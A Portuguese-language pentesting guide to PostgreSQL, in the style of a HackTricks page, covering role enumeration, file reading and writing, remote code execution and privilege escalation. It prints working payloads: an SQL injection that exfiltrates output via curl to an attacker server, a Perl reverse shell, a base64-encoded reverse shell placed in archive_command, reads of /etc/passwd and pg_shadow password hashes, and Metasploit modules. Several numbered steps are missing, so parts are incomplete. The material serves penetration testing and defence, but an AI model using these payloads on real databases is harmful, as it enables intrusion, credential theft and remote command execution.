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</details>
{% endhint %}
## **Informações Básicas**
**PostgreSQL** é descrito como um **sistema de banco de dados objeto-relacional** que é **open source**. Este sistema não apenas utiliza a linguagem SQL, mas também a aprimora com recursos adicionais. Suas capacidades permitem lidar com uma ampla gama de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações.
**Porta padrão:** 5432, e se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (provavelmente 5433) que não está em uso.
Se ao executar **`\list`** você encontrar um banco de dados chamado **`rdsadmin`**, você sabe que está dentro de um **banco de dados PostgreSQL da AWS**.
De acordo com [**esta pesquisa**](https://www.exploit-db.com/papers/13084), quando uma tentativa de conexão falha, `dblink` lança uma exceção `sqlclient_unable_to_establish_sqlconnection` incluindo uma explicação do erro. Exemplos desses detalhes estão listados abaixo.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```
* O host está fora do ar
`DETAIL: não foi possível conectar ao servidor: Sem rota para o host O servidor está em execução no host "1.2.3.4" e aceitando conexões TCP/IP na porta 5678?`
* A porta está fechada
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* A porta está aberta
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
ou
```
DETAIL: FATAL: password authentication failed for user "name"
```
* A porta está aberta ou filtrada
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. No entanto, se você tiver acesso direto ao servidor PostgreSQL, pode recuperar as informações necessárias. Se extrair nomes de usuários e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método de ataque de wordlist discutido na seção anterior, pois isso pode potencialmente gerar resultados positivos.
| rolsuper | A função tem privilégios de superusuário |
| rolinherit | A função herda automaticamente os privilégios das funções das quais é membro |
| rolcreaterole | A função pode criar mais funções |
| rolcreatedb | A função pode criar bancos de dados |
| rolcanlogin | A função pode fazer login. Ou seja, essa função pode ser dada como o identificador de autorização da sessão inicial |
| rolreplication | A função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e remover slots de replicação. |
| rolconnlimit | Para funções que podem fazer login, isso define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite. |
| rolpassword | Não é a senha (sempre é lido como `********`) |
| rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração |
| rolbypassrls | A função ignora todas as políticas de segurança em nível de linha, veja [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para mais informações. |
| rolconfig | Padrões específicos da função para variáveis de configuração em tempo de execução |
| oid | ID da função |
#### Grupos Interessantes
* Se você é membro de **`pg_execute_server_program`** você pode **executar** programas
* Se você é membro de **`pg_read_server_files`** você pode **ler** arquivos
* Se você é membro de **`pg_write_server_files`** você pode **escrever** arquivos
{% hint style="info" %}
Observe que no Postgres um **usuário**, um **grupo** e uma **função** são a **mesma** coisa. Depende apenas de **como você usa** e se você **permite que faça login**.
{% endhint %}
```sql
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
### Tabelas
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
```
### Funções
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls*#Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
```
## Ações do sistema de arquivos
### Ler diretórios e arquivos
A partir deste [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a), membros do grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (chamado **`pg_read_server_files`**) e **super usuários** podem usar o método **`COPY`** em qualquer caminho (verifique `convert_and_check_filename` em `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Lembre-se de que se você não for superusuário, mas tiver as permissões **CREATEROLE**, você pode **se tornar membro desse grupo:**
Existem **outras funções do postgres** que podem ser usadas para **ler arquivos ou listar um diretório**. Apenas **superusuários** e **usuários com permissões explícitas** podem usá-las:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
Você pode encontrar **mais funções** em [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
### Escrita Simples de Arquivo
Apenas **super usuários** e membros de **`pg_write_server_files`** podem usar copy para escrever arquivos.
{% code overflow="wrap" %}
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}
{% hint style="warning" %}
Lembre-se de que se você não for superusuário, mas tiver as permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
Lembre-se de que o COPY não pode lidar com caracteres de nova linha, portanto, mesmo que você esteja usando um payload em base64, **você precisa enviar uma linha única**.\
Uma limitação muito importante dessa técnica é que **`copy` não pode ser usado para escrever arquivos binários, pois modifica alguns valores binários.**
### **Upload de arquivos binários**
No entanto, existem **outras técnicas para fazer upload de grandes arquivos binários:**
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
### Atualizando dados da tabela PostgreSQL via gravação de arquivo local
Se você tiver as permissões necessárias para ler e escrever arquivos do servidor PostgreSQL, pode atualizar qualquer tabela no servidor **substituindo o nó de arquivo associado** no [diretório de dados do PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Mais sobre essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Passos necessários:
1. Obtenha o diretório de dados do PostgreSQL
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Nota:** Se você não conseguir recuperar o caminho do diretório de dados atual das configurações, pode consultar a versão principal do PostgreSQL através da consulta `SELECT version()` e tentar forçar o caminho. Caminhos comuns do diretório de dados em instalações Unix do PostgreSQL são `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Um nome de cluster comum é `main`.
2. Obtenha um caminho relativo para o filenode, associado à tabela alvo
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
Essa consulta deve retornar algo como `base/3/1337`. O caminho completo no disco será `$DATA_DIRECTORY/base/3/1337`, ou seja, `/var/lib/postgresql/13/main/base/3/1337`.
4. Obtenha o tipo de dado, associado à tabela alvo
```sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. Use o [Editor de Filenode do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); defina todas as flags booleanas `rol*` para 1 para permissões totais.
![Demonstração do Editor de Filenode do PostgreSQL](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
8. Agora você deve ver os valores da tabela atualizados no PostgreSQL.
Você também pode se tornar um superadmin editando a tabela `pg_authid`. **Veja** [**a seção seguinte**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
## RCE
### **RCE para programa**
Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **super usuários** e membros do grupo **`pg_execute_server_program`** podem usar copy para RCE (exemplo com exfiltração:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Exemplo para exec:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
Lembre-se de que se você não for superusuário, mas tiver as permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
Ou use o módulo `multi/postgres/postgres_copy_from_program_cmd_exec` do **metasploit**.\
Mais informações sobre essa vulnerabilidade [**aqui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Embora tenha sido relatada como CVE-2019-9193, o Postgres declarou que isso era uma [característica e não será corrigido](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Uma vez que você tenha **aprendido** no post anterior **como fazer upload de arquivos binários**, você pode tentar obter **RCE fazendo upload de uma extensão postgresql e carregando-a**.
Os seguintes vetores de RCE são especialmente úteis em contextos SQLi restritos, pois todos os passos podem ser realizados através de instruções SELECT aninhadas.
{% endhint %}
O **arquivo de configuração** do PostgreSQL é **gravável** pelo **usuário postgres**, que é quem executa o banco de dados, então como **superusuário**, você pode escrever arquivos no sistema de arquivos e, portanto, pode **sobrescrever este arquivo.**
![](<../.gitbook/assets/image(322).png>)
#### **RCE com ssl\_passphrase\_command**
Mais informações [sobre esta técnica aqui](https://pulsesecurity.co.nz/articles/postgres-sqli).
*`ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Caminho para a chave privada do banco de dados
*`ssl_passphrase_command = ''` Se o arquivo privado estiver protegido por senha (criptografado), o postgresql **executará o comando indicado neste atributo**.
*`ssl_passphrase_command_supports_reload = off`**Se** este atributo estiver **ativado**, o **comando** executado se a chave estiver protegida por senha **será executado** quando `pg_reload_conf()` for **executado**.
Ao testar isso, percebi que isso só funcionará se o **arquivo da chave privada tiver permissões 640**, for **possuído por root** e pelo **grupo ssl-cert ou postgres** (para que o usuário postgres possa lê-lo), e estiver localizado em _/var/lib/postgresql/12/main_.
#### **RCE com archive\_command**
**Mais** [**informações sobre esta configuração e sobre WAL aqui**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Outro atributo no arquivo de configuração que é explorável é `archive_command`.
Para que isso funcione, a configuração `archive_mode` deve ser `'on'` ou `'always'`. Se isso for verdade, então poderíamos sobrescrever o comando em `archive_command` e forçá-lo a ser executado através das operações WAL (write-ahead logging).
2. Sobrescreva `archive_command` com o payload. Por exemplo, um shell reverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Recarregue a configuração: `SELECT pg_reload_conf()`
4. Force a operação WAL a ser executada, o que chamará o comando de arquivamento: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres
#### **RCE com bibliotecas de pré-carregamento**
Mais informações [sobre esta técnica aqui](https://adeadfed.com/posts/postgresql-select-only-rce/).
Este vetor de ataque aproveita as seguintes variáveis de configuração:
*`session_preload_libraries` -- bibliotecas que serão carregadas pelo servidor PostgreSQL na conexão do cliente.
*`dynamic_library_path` -- lista de diretórios onde o servidor PostgreSQL procurará as bibliotecas.
Podemos definir o valor de `dynamic_library_path` para um diretório, gravável pelo usuário `postgres` que executa o banco de dados, por exemplo, o diretório `/tmp/`, e fazer upload de um objeto `.so` malicioso lá. Em seguida, forçaremos o servidor PostgreSQL a carregar nossa biblioteca recém-carregada, incluindo-a na variável `session_preload_libraries`.
6. Faça upload do `postgresql.conf` malicioso, criado nos passos 2-3, e sobrescreva o original
7. Faça upload do `payload.so` do passo 5 para o diretório `/tmp`
8. Recarregue a configuração do servidor reiniciando o servidor ou invocando a consulta `SELECT pg_reload_conf()`
9. Na próxima conexão ao DB, você receberá a conexão do shell reverso.
## **Postgres Privesc**
### Privesc CREATEROLE
#### **Conceder**
De acordo com a [**documentação**](https://www.postgresql.org/docs/13/sql-grant.html): _Funções que têm o privilégio **`CREATEROLE`** podem **conceder ou revogar a filiação em qualquer função** que **não** seja um **superusuário**._
Portanto, se você tiver permissão **`CREATEROLE`**, poderá conceder a si mesmo acesso a outras **funções** (que não são superusuário) que podem lhe dar a opção de ler e escrever arquivos e executar comandos:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Modificar Senha
Usuários com este papel também podem **mudar** as **senhas** de outros **não-superusuários**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc para SUPERUSER
É bastante comum encontrar que **usuários locais podem fazer login no PostgreSQL sem fornecer nenhuma senha**. Portanto, uma vez que você tenha reunido **permissões para executar código**, você pode abusar dessas permissões para conceder a você o papel de **`SUPERUSER`**:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
Isso geralmente é possível por causa das seguintes linhas no arquivo **`pg_hba.conf`**:
```bash
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
### **ALTER TABLE privesc**
Em [**este artigo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) é explicado como foi possível **privesc** no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário.
Quando você tenta **tornar outro usuário o proprietário de uma tabela**, você deve receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres que não é superusuário** no GCP:
Unindo essa ideia com o fato de que quando os comandos **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) são executados em uma **tabela com uma função de índice**, a **função** é **chamada** como parte do comando com as **permissões** do **proprietário da tabela**. É possível criar um índice com uma função e dar permissões de proprietário a um **superusuário** sobre essa tabela, e então executar ANALYZE sobre a tabela com a função maliciosa que será capaz de executar comandos porque está usando os privilégios do proprietário.
2. Insira algum conteúdo irrelevante na tabela para fornecer dados para a função de índice.
3. Desenvolva uma função de índice maliciosa que contenha um payload de execução de código, permitindo que comandos não autorizados sejam executados.
4. ALTERE o proprietário da tabela para "cloudsqladmin", que é o papel de superusuário do GCP usado exclusivamente pelo Cloud SQL para gerenciar e manter o banco de dados.
5. Realize uma operação ANALYZE na tabela. Esta ação obriga o mecanismo PostgreSQL a mudar para o contexto do usuário do proprietário da tabela, "cloudsqladmin". Consequentemente, a função de índice maliciosa é chamada com as permissões de "cloudsqladmin", permitindo assim a execução do comando de shell anteriormente não autorizado.
Em PostgreSQL, esse fluxo se parece com isto:
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
```
Então, a tabela `shell_commands_results` conterá a saída do código executado:
Algumas instâncias do postgresql mal configuradas podem permitir o login de qualquer usuário local, é possível logar a partir de 127.0.0.1 usando a **`dblink` function**:
```sql
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
Observe que para a consulta anterior funcionar **a função `dblink` precisa existir**. Se não existir, você pode tentar criá-la com
```sql
CREATE EXTENSION dblink;
```
{% endhint %}
Se você tiver a senha de um usuário com mais privilégios, mas o usuário não tiver permissão para fazer login a partir de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
É possível verificar se essa função existe com:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **Função definida pelo usuário com** SECURITY DEFINER
[**Neste relatório**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), os pentesters conseguiram escalar privilégios dentro de uma instância postgres fornecida pela IBM, porque **encontraram esta função com a flag SECURITY DEFINER**:
Como [**explicado na documentação**](https://www.postgresql.org/docs/current/sql-createfunction.html), uma função com **SECURITY DEFINER é executada** com os privilégios do **usuário que a possui**. Portanto, se a função for **vulnerável a SQL Injection** ou estiver realizando algumas **ações privilegiadas com parâmetros controlados pelo atacante**, ela pode ser abusada para **escalar privilégios dentro do postgres**.
Na linha 4 do código anterior, você pode ver que a função tem a flag **SECURITY DEFINER**.
**PL/pgSQL** é uma **linguagem de programação totalmente funcional** que oferece maior controle procedural em comparação com SQL. Ela permite o uso de **loops** e outras **estruturas de controle** para aprimorar a lógica do programa. Além disso, **instruções SQL** e **triggers** têm a capacidade de invocar funções que são criadas usando a **linguagem PL/pgSQL**. Essa integração permite uma abordagem mais abrangente e versátil para programação e automação de banco de dados.\
O seguinte vetor de privesc é especialmente útil em contextos de SQLi restritos, pois todas as etapas podem ser realizadas através de instruções SELECT aninhadas.
Se você pode **ler e escrever arquivos do servidor PostgreSQL**, você pode **se tornar um superusuário** sobrescrevendo o filenode no disco do PostgreSQL, associado à tabela interna `pg_authid`.
Leia mais sobre **essa técnica** [**aqui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**
Os passos do ataque são:
1. Obter o diretório de dados do PostgreSQL
2. Obter um caminho relativo para o filenode, associado à tabela `pg_authid`
3. Baixar o filenode através das funções `lo_*`
4. Obter o tipo de dado, associado à tabela `pg_authid`
5. Usar o [Editor de Filenode do PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor) para [editar o filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table); definir todas as flags booleanas `rol*` para 1 para permissões totais.
6. Reenviar o filenode editado via as funções `lo_*`, e sobrescrever o arquivo original no disco
7._(Opcional)_ Limpar o cache da tabela em memória executando uma consulta SQL cara
8. Você agora deve ter os privilégios de um superadmin completo.
## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### logging
Dentro do arquivo _**postgresql.conf**_ você pode habilitar os logs do postgresql alterando:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
Então, **reinicie o serviço**.
### pgadmin
[pgadmin](https://www.pgadmin.org) é uma plataforma de administração e desenvolvimento para PostgreSQL.\
Você pode encontrar **senhas** dentro do arquivo _**pgadmin4.db**_\
Você pode descriptografá-las usando a função _**decrypt**_ dentro do script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba
A autenticação do cliente no PostgreSQL é gerenciada através de um arquivo de configuração chamado **pg\_hba.conf**. Este arquivo contém uma série de registros, cada um especificando um tipo de conexão, intervalo de endereços IP do cliente (se aplicável), nome do banco de dados, nome do usuário e o método de autenticação a ser usado para conexões correspondentes. O primeiro registro que corresponder ao tipo de conexão, endereço do cliente, banco de dados solicitado e nome do usuário é usado para autenticação. Não há fallback ou backup se a autenticação falhar. Se nenhum registro corresponder, o acesso é negado.
Os métodos de autenticação baseados em senha disponíveis no pg\_hba.conf são **md5**, **crypt** e **password**. Esses métodos diferem na forma como a senha é transmitida: hash MD5, criptografada ou em texto claro. É importante notar que o método crypt não pode ser usado com senhas que foram criptografadas em pg\_authid.
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